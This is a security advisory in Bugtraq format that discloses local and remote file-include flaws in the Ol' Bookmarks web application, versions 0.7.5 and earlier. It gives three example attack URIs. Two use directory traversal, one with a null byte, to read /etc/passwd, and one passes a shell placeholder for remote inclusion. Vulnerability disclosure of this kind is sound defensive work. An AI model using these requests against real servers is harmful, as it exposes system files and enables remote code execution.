Ol' Bookmarks Multiple Input Validation Vulnerabilities

Bugtraq ID:	31348
Class:	Input Validation Error
CVE:	CVE-2008-6408 CVE-2008-6410 CVE-2008-6407
Remote:	Yes
Local:	No
Published:	Sep 23 2008 12:00AM
Updated:	Jul 05 2016 10:01PM
Credit:	dun, GoLd_M
Vulnerable:	Ol' Bookmarks Ol' Bookmarks 0.7.5 Ol' Bookmarks Ol' Bookmarks 0.7.4
Not Vulnerable:

Ol' Bookmarks Multiple Input Validation Vulnerabilities

Ol' Bookmarks is prone to multiple vulnerabilities, including multiple local file-include issues and a remote file-include issue, because it fails to sufficiently sanitize user-supplied data.

Successful exploits of these vulnerabilities may allow attackers to view files and to execute remote and local scripts in the context of the webserver process.

These issues affect Ol' Bookmarks 0.7.5 and prior versions.

Ol' Bookmarks Multiple Input Validation Vulnerabilities

Attackers can use a browser to exploit these issues.

The following example URIs are available:

http://www.example.com/olbookmarks/show.php?show=../../../../../../../etc/passwd%00
http://www.example.com/olbookmarks/frame.php?framefile=[Shell]
http://www.example.com/olbookmarks/read/frame.php?framefile=../../../../../../etc/passwd

Ol' Bookmarks Multiple Input Validation Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Ol' Bookmarks Multiple Input Validation Vulnerabilities

References:

• O'l Bookmarks Homepage (Ol' Bookmarks)